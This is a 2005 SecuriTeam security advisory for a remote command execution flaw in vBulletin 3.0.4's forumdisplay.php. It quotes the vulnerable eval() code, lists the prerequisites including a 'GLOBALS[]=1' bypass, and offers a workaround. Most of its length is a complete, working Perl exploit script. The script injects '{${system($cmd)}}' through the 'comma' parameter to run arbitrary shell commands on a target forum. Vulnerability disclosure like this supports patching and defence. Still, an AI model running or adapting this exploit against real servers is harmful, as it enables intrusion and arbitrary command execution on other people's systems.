[UNIX] vBulletin forumdisplay.php Command Execution Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 02/17/05

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Date: 17 Feb 2005 17:02:31 +0200

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      vBulletin forumdisplay.php Command Execution Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.vbulletin.com/> vBulletin is "a powerful and widely used
    bulletin board system, based on PHP language and MySQL database".

    A vulnerability in vBulletin's forumdisplay.php allows a remote attacker
    to cause the PHP script to execute arbitrary code via the 'comma'
    variable.

    DETAILS

    Vulnerable Systems:
     * vBulletin version 3.0.4 and prior

    Immune Systems:
     * vBulletin version 3.0.5 or newer

    Vulnerable code in forumdisplay.php:
     if ($vboptions['showforumusers'])
     {
        .
        .
        .
        .

     if ($bbuserinfo['userid'])
     {
        ...
        $comma = ', ';
      }
     ...
     while ($loggedin = $DB_site->fetch_array($forumusers))
     {
        ...
        eval('$activeusers .= "' . $comma .
    fetch_template('forumdisplay_loggedinuser') . '";'); <<==== (Vuln)
        $comma = ', ';
        ...
      }
     ...
     }

    Prequsites:
     * $vboptions['showforumusers'] == True , the admin must set
    showforumusers ON in vBulletin options
     * $bbuserinfo['userid'] == 0 , you must be an visitor/guest
     * $DB_site->fetch_array($forumusers) == True , when you visit the forums,
    it must has at least one user show the forum
     * magic_quotes_gpc must be OFF
     * You must bypass unset($GLOBALS["$_arrykey"]) code in init.php by using:
    GLOBALS[]=1

    Workaround:
     * Disable showforumusers in vbulletin options .
     * add the next line before if ($vboptions['showforumusers']) $comma = '';

    Exploit:
    #!/usr/bin/perl
    # vbulletin 3.0.4 remote command execution by pokleyzz
    <pokleyzz_at_scan-associates.net>
    #
    # Requirement:
    # showforumusers ON
    #
    #
    # bug found by AL3NDALEEB <al3ndaleeb_at_uk2.net>
    #
    # usage :
    # vbulletin30-xp.pl <forumdisplay.php url> <forum id> <command>
    #
    # example :
    # vbulletin30-xp.pl http://192.168.1.78/forumdisplay.php 1 "ls -la"
    #
    # !! Happy Chinese new Year !!

    use IO::Socket;

    sub parse_url {
        local($url) = @_;

        if ($url =~ m#^(\w+):#) {
       $protocol = $1;
       $protocol =~ tr/A-Z/a-z/;
        } else {
       return undef;
        }

        if ($protocol eq "http") {
        if ($url =~ m#^\s*\w+://([\w-\.]+):?(\d*)([^ \t]*)$#) {
          $server = $1;
          $server =~ tr/A-Z/a-z/;
          $port = ($2 ne "" ? $2 : $http_port);
          $path = ( $3 ? $3 : '/');
          return ($protocol, $server, $port, $path);
       }
      return undef;
        }
    }

    sub urlencode{
        my($esc) = @_;
        $esc =~ s/^\s+|\s+$//gs;
        $esc =~ s/([^a-zA-Z0-9_\-.])/uc sprintf("%%%02x",ord($1))/eg;
        $esc =~ s/ /\+/g;
        $esc =~ s/%20/\+/g;
        return $esc;
    }

    $url = $ARGV[0];
    $fid = $ARGV[1];
    $cmd = urlencode($ARGV[2]);

    $http_port = 80;

    $shellcode
    ="GLOBALS[]=1&f=$fid&cmd=$cmd&comma={\${system(\$cmd)}}{\${exit()}}";

    @target = parse_url($url);

    $conn = IO::Socket::INET->new (
              Proto => "tcp",
              PeerAddr => $target[1],
              PeerPort => $target[2],
        ) or die "\nUnable to connect\n";
        
    $conn -> autoflush(1);
    print $conn "GET $target[3]?$shellcode HTTP/1.1\r\nHost:
    $target[1]:$target[2]\r\nConnection: Close\r\n\r\n";
    while (<$conn>){
     print $_;
    }
    close $conn;

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:al3ndaleeb@uk2.net>
    al3ndaleeb.

    ========================================

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